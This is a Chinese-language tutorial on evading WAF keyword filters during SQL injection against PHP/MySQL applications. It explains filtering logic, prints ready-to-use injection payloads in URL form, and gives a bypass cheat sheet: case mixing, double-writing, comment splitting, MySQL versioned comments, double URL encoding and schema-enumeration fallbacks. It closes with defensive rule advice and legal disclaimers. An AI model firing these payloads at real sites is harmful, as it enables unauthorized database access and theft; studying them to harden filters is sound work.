WAF 绕过 --- 关键字绕过手册
以 PHP 语言的数据库语法为例,系统讲解 SQL 注入中绕过 WAF 关键字过滤的原理与手法。按难易程度分层:基础 → 进阶 → 高阶。
⚠️ 免责声明:本文旨在教学网络安全知识,帮助开发者理解 WAF 绕过原理以更好地防御。请勿将本文所述技术用于任何非法攻击或渗透测试。任何滥用本文知识造成的法律后果由使用者自行承担。
📑 文章目录
- [WAF 过滤机制简述](#WAF 过滤机制简述)
- 一、基础手法
- [1.1 大小写混淆](#1.1 大小写混淆)
- [1.2 双写绕过](#1.2 双写绕过)
- [1.3 注释分割关键字](#1.3 注释分割关键字)
- 二、进阶手法
- [2.1 MySQL 特殊注释](#2.1 MySQL 特殊注释)
- [2.2 URL 编码](#2.2 URL 编码)
- [2.3 混合大小写+注释](#2.3 混合大小写+注释)
- [2.4 编码+大小写混合](#2.4 编码+大小写混合)
- 三、高阶手法
- [3.1 十六进制编码(仅限字符串值,不能替代关键字)](#3.1 十六进制编码(仅限字符串值,不能替代关键字))
- [3.2 函数替代关键字的尝试与失败分析](#3.2 函数替代关键字的尝试与失败分析)
- [3.3 其他编码方式](#3.3 其他编码方式)
- [3.4 information_schema 被拦截时的替代方案](#3.4 information_schema 被拦截时的替代方案)
- [3.5 混合绕过策略](#3.5 混合绕过策略)
- 四、速查表
- 五、防御建议
WAF 过滤机制简述
理解绕过之前,先理解 WAF 是如何过滤关键字的。以 PHP 为例,典型流程为:
用户输入 → Web服务器(URL解码) → PHP $_GET接收 → 正则匹配(WAF) → 拼接SQL → MySQL执行
PHP 常用的关键字过滤方式是 preg_match 或 preg_replace:
php
// 区分大小写:只有完全一样才匹配
$pattern = '/union/';
preg_match_all($pattern, $subject, $matches);
// 不区分大小写:加 i 修饰符
$pattern = '/union/i';
// 单词边界:避免误匹配 "reunion"
$pattern = '/\b(union|select)\b/i';
绕过的核心思路:让 payload 在 WAF 检测时不匹配规则,但在 SQL 执行时等效于原关键字。
一、基础手法
1.1 大小写混淆
适用于 WAF 正则区分大小写(未使用 i 修饰符)的情况。
sql
-- WAF 只匹配小写 union
SELECT id FROM users UnIoN SeLeCt 1,2,3
php
// WAF 规则(区分大小写)
$pattern = '/union/';
// UnIoN 不匹配 → 绕过成功
局限 :大多数现代 WAF 使用
i修饰符,大小写混淆基本无效。但在多层过滤或低质量 WAF 中仍值得一试。
1.2 双写绕过
适用于 WAF 使用 str_replace 或 preg_replace 且只替换一次的情况。
php
// WAF 规则:只替换第一个匹配
$pattern = '/union/i';
$replaced = preg_replace($pattern, '', $sql, 1); // 第4个参数1=只替换1次
sql
-- 输入 un/**/ion 会被替换为 ion(如果 WAF 匹配到 union 的话)
-- 双写绕过:构造 ununionion,替换掉中间的 union 后剩下 union
SELECT id FROM users ununionion SELECT 1,2,3
-- WAF 替换:un[union]ion → union → 执行成功
-- 如果 WAF 替换所有匹配:
$replaced = preg_replace($pattern, '', $sql); // 替换所有
-- 双写就不行了,需要换用注释+编码等手法
1.3 注释分割关键字
利用 SQL 注释在关键字中间插入注释,使正则无法匹配,但 SQL 引擎会忽略注释正常解析。
多行注释 /**/:
sql
-- 注释分割 UNION
SELECT id FROM users UN/**/ION SELECT 1,2,3
-- WAF 检测:UN/**/ION ≠ UNION → 不匹配 → 绕过
-- SQL 执行:/* */ 被忽略 → UN/**/ION = UNION → 正常执行
sql
-- 多层嵌套
SELECT id FROM users U/**/N/**/I/**/O/**/N SELECT 1,2,3
-- 混合分割
SELECT id FROM users U/*!N*/I/**/O/*!N*/ SELECT 1,2,3
关于单行注释 -- 和 # 分割关键字的误区:
sql
-- ❌ 以下写法不生效!
SELECT id FROM users UNI-- \nON SELECT 1,2,3
原因:MySQL 中 -- 后面必须跟空格才被视为注释符。UNI-- \nON 中 -- 后面没有空格,不被当作注释,而是被解释为减号运算符,导致语法错误。即使 -- 后面有空格,注释后 UNI 和换行后的 ON 也不会自动拼合为 UNION------注释是删除内容,不是字符串连接。
总结 :单行注释
--和#不能用来分割关键字的字母。只有多行注释/**/和 MySQL 特殊注释/*!*/可以。
二、进阶手法
2.1 MySQL 特殊注释
MySQL 特有的内联注释 /*! */,其中内容会被 MySQL 执行,其他数据库则忽略。
sql
-- MySQL 特殊注释:内容会被 MySQL 执行
/*!50001 UNION*/ SELECT 1,2,3
-- 50001 表示 MySQL 5.0.01 及以上版本执行
-- WAF 检测:/*!50001 UNION*/ ≠ UNION → 绕过
-- MySQL 执行:/*!50001 UNION*/ = UNION → 正常执行
-- 版本条件执行
/*!50000 UNION SELECT 1,2,3 */ -- MySQL 5.0+ 执行
/*!80000 UNION SELECT 1,2,3 */ -- MySQL 8.0+ 执行
sql
-- 在关键字中间插入
SELECT id FROM users UN/*!*/ION SELECT 1,2,3
-- MySQL 执行:UN/*!*/ION = UNION
-- 其他数据库:忽略注释,UNION 被拆开 → 语句无效
注意 :
/*!*/是 MySQL 独有语法。如果目标不是 MySQL,此方法不适用。
2.2 URL 编码
将关键字进行 URL 编码,使 WAF 的正则匹配不到原始字符串。
编码流程与关键问题:
正常流程:
用户输入 union → 浏览器发送 union → 服务器解码为 union → PHP接收 union → WAF匹配 union → 拦截
单次编码(基本无效):
用户输入 %55%4e%49%4f%4e → 服务器解码为 UNION → PHP接收 UNION → WAF匹配 UNION → 拦截
单次 URL 编码通常无效,因为 Web 服务器(Apache/Nginx)在 PHP 接收前已经自动解码了一次。
sql
-- 单次编码(绕过低质量WAF,但对大多数WAF无效)
%55%4e%49%4f%4e → 服务器解码 → UNION → WAF匹配到 → 失败
双重 URL 编码:
当 Web 服务器只解码一次,而 WAF 在解码后检查时,双重编码可以让 WAF 看到的是单次编码后的字符串:
用户输入 %2555%254e%2549%254f%254e(双重编码)
→ Web服务器解码一次 → %55%4e%49%4f%4e(仍为编码状态)
→ PHP接收 → WAF检测 → 看到的是 %55%4e... → 不匹配 UNION → 绕过成功
→ 传入MySQL → MySQL 不认识 %55%4e... → 执行失败!
双重编码的关键问题:MySQL 不能理解 URL 编码 。要让 payload 绕过 WAF 并被 MySQL 执行,必须在 WAF 检测时是编码状态,在 SQL 执行时是非编码状态。这只有在应用层存在二次解码(如 PHP 的 urldecode() 函数被调用)时才可能:
php
// 如果应用代码中有这样的逻辑:
$id = $_GET['id']; // 服务器已解码一次
$id = urldecode($id); // 应用层再解码一次 → 二次解码
$sql = "SELECT * FROM news WHERE id='$id'";
// 此时双重编码才能生效:
// 用户输入 %2555%254e... → 服务器解码为 %55%4e... → WAF看到 %55%4e...(绕过) → urldecode解码为 UNION → MySQL执行
核心原则:URL 编码绕过是否成功,取决于 WAF 检测和最终解码之间的"解码次数差"。需要具体分析目标应用的解码链路。
2.3 混合大小写+注释
将大小写混淆与注释分割结合,增加 WAF 正则匹配难度。
sql
-- 大小写 + 多行注释
SeLeCt id Fr/**/Om users UN/**/IoN SeLeCt 1,2,3
-- 大小写 + MySQL 特殊注释
/*!50000 UnIoN*/ /*!50000 SeLeCt*/ 1,2,3
2.4 编码+大小写混合
先大小写混合,再进行 URL 编码。
-- 原始:UNION SELECT
-- 混合:UnIoN SeLeCt
-- 编码:%55n%49o%4e %53e%4c%65%63t
三、高阶手法
3.1 十六进制编码(仅限字符串值,不能替代关键字)
十六进制字面量只能用于字符串值,不能用于 SQL 关键字。 原因在于 SQL 的解析过程:
SQL 解析过程:词法分析 → 语法分析 → 语义分析 → 执行
UNION是 SQL 关键字/保留字,在词法分析阶段被识别为语法 token0x554e494f4e是十六进制字面量,在词法分析阶段被识别为值(字符串)- 语法分析阶段,解析器在期待关键字的位置看到的是值,而非 token → 语法错误
sql
-- ❌ 错误:0x554e494f4e 不能作为 UNION 关键字
SELECT 1,2,3 0x554e494f4e SELECT 4,5,6;
-- 报错:语法错误
-- ✅ 正确:十六进制用于字符串值
SELECT id FROM users WHERE name = 0x554e494f4e;
-- 等价于 WHERE name = 'UNION'(查找 name 值为 'UNION' 的记录)
MySQL 版本差异:
| MySQL 版本 | 0x554e494f4e 行为 |
能否替代关键字 |
|---|---|---|
| 5.7 及之前 | 自动转为字符串 'UNION' |
否,仍只是值 |
| 8.0 及之后 | 二进制字符串类型 | 否,仍只是值 |
总结 :十六进制编码可以绕过对字符串值(如表名、列名、搜索关键词)的引号过滤,但绝对不能 用来绕过
UNION、SELECT等关键字本身的过滤。
3.2 函数替代关键字的尝试与失败分析
在 SQL 注入中,常有人尝试用 CHAR()、CONCAT() 等函数返回关键字字符串来绕过过滤。但这不能替代关键字,原因同上------函数返回的是值,不是语法 token。
sql
-- ❌ CHAR() 不能替代 UNION 关键字
SELECT id FROM users CHAR(85,78,73,79,78) SELECT 1,2,3;
-- 报错:语法错误,CHAR() 返回的是值 'UNION',不是关键字 UNION
-- ❌ CONCAT() 也不能
SELECT id FROM users CONCAT('U','N','I','O','N') SELECT 1,2,3;
-- 同样报错
-- ❌ CONCAT_WS() 也不能
SELECT id FROM users CONCAT_WS('','U','N','I','O','N') SELECT 1,2,3;
-- 同样报错
-- ❌ 子查询返回字符串也不能
SELECT 1, 2, (SELECT CONCAT('u','n','i','o','n')) AS union_str;
-- 结果:返回值 'union',但不会执行 UNION 操作
根本原因:
SQL 解析器在语法分析阶段,期待关键字位置出现的是 token(关键字标识),而不是表达式(函数调用)。函数是表达式,关键字是语法结构,两者在语法树的层级完全不同。
函数的正确用法------在值的位置使用:
sql
-- ✅ CHAR() 在 SELECT 列表中(值的位置)使用
SELECT CHAR(85,78,73,79,78) FROM users;
-- 返回:每行都是 'UNION'
-- ✅ CONCAT() 在 WHERE 条件中使用
SELECT id FROM users WHERE name = CONCAT('U','N','I','O','N');
-- 查找 name = 'UNION' 的记录
-- ✅ CHAR() 在 WHERE 条件中使用
SELECT id FROM users WHERE name = CHAR(85,78,73,79,78);
-- 同上
3.3 其他编码方式
除 URL 编码外,还存在其他编码方式,效果取决于服务器的解码链路(WAF 检测和最终解码的时序关系):
Unicode 编码(适用于 JSON/XML 输入):
json
{"id":"1\u0041\u004e\u0044 1=1"}
二进制/八进制字面量:不能作为 SQL 关键字解析,与十六进制同理。
3.4 information_schema 被拦截时的替代方案
如果 information_schema 被 WAF 拦截且无法绕过,可以尝试以下替代方案:
方案一:MySQL 系统库替代查询
sql
-- 查询所有数据库(替代 information_schema.schemata)
SELECT DISTINCT table_schema FROM information_schema.tables;
-- 如果 information_schema 整体被拦截,尝试 mysql 系统库
SELECT schema_name FROM mysql.schemata; -- MySQL 8.0+
-- 查询版本信息(替代 version() 函数,当函数被过滤时)
SELECT @@version, @@global.version;
-- 或从系统变量表查询
SELECT VARIABLE_VALUE FROM information_schema.GLOBAL_VARIABLES WHERE VARIABLE_NAME='version';
SELECT VARIABLE_VALUE FROM information_schema.SESSION_VARIABLES WHERE VARIABLE_NAME='version';
-- 查询当前数据库(替代 database() 函数)
SELECT TABLE_SCHEMA FROM information_schema.TABLES LIMIT 1;
方案二:InnoDB 系统表(MySQL 5.x)
sql
-- 利用 InnoDB 引擎的系统表
SELECT * FROM mysql.innodb_table_stats;
SELECT * FROM mysql.innodb_index_stats;
-- 注意:mysql.innodb_table_stats 属于 mysql 系统库,不是独立的系统数据库
方案三:布尔盲注替代
当联合查询被完全封堵时,回退到布尔盲注,逐字符猜解表名和列名。
3.5 混合绕过策略
实战中往往需要多种手法组合使用:
sql
-- 大小写 + 注释 + 特殊注释 + 编码的组合
?id=-1' /*!50001UNIoN*/ /*!50001SeLeCt*/ 1,2,3--+
-- 注释分割 + URL编码
?id=-1'%20UN/**/ION%20SeLeCt%201,2,3--+
-- 双写 + 注释(应对替换型WAF)
?id=-1' ununiunionon/**/selselectect 1,2,3--+
四、速查表
| 场景 | WAF 类型 | 绕过写法 | 成功率 |
|---|---|---|---|
| 区分大小写 | preg_match('/union/') |
UnIoN SeLeCt |
高 |
| 不区分大小写 | preg_match('/union/i') |
UN/**/ION SeLeCt |
中 |
| 替换一次 | preg_replace(..., 1) |
ununionion |
高 |
| 替换全部 | preg_replace(...) |
UN/**/ION + 编码 |
中 |
| 严格单词匹配 | `\b(union | select)\b/i` | /*!50000UNION*/ |
| 双重解码 | 存在 urldecode() |
%2555%254e%2549%254f%254e |
低(需要特定条件) |
| 关键字过滤+引号过滤 | 综合过滤 | /*!50000UNION*/ SELE/**/CT 1,0x61646d696e,3 |
中 |
五、防御建议
WAF 正则规则应覆盖以下维度:
- 注释分割检测 :去除注释后再匹配(
/\/\*.*?\*\//→ 删除 → 再匹配关键字) - 多重编码检测:对输入进行递归 URL 解码,直到解码结果不再变化
- 逻辑运算符别名 :检测
&&、||、!等运算符别名 - 大小写归一化:匹配前统一转为小写
- MySQL 特殊注释 :检测
/*!模式 - 统一字符集:UTF-8 编码,避免字符集差异导致的绕过
⚠️ 法律与道德声明
本文所有内容仅供网络安全学习与研究使用,旨在帮助开发者和安全人员理解 WAF 绕过原理,从而构建更安全的 Web 应用。严禁将文中任何技术用于:
- 未经授权的系统测试、渗透或攻击
- 非法获取、篡改、破坏他人数据
- 任何违反《中华人民共和国网络安全法》及相关法律法规的行为
网络安全是双刃剑,技术本身无罪,但使用者的意图决定其性质。请务必在法律允许的范围内进行安全研究,共同维护清朗网络空间。
作者与平台不对任何滥用本文技术造成的后果负责。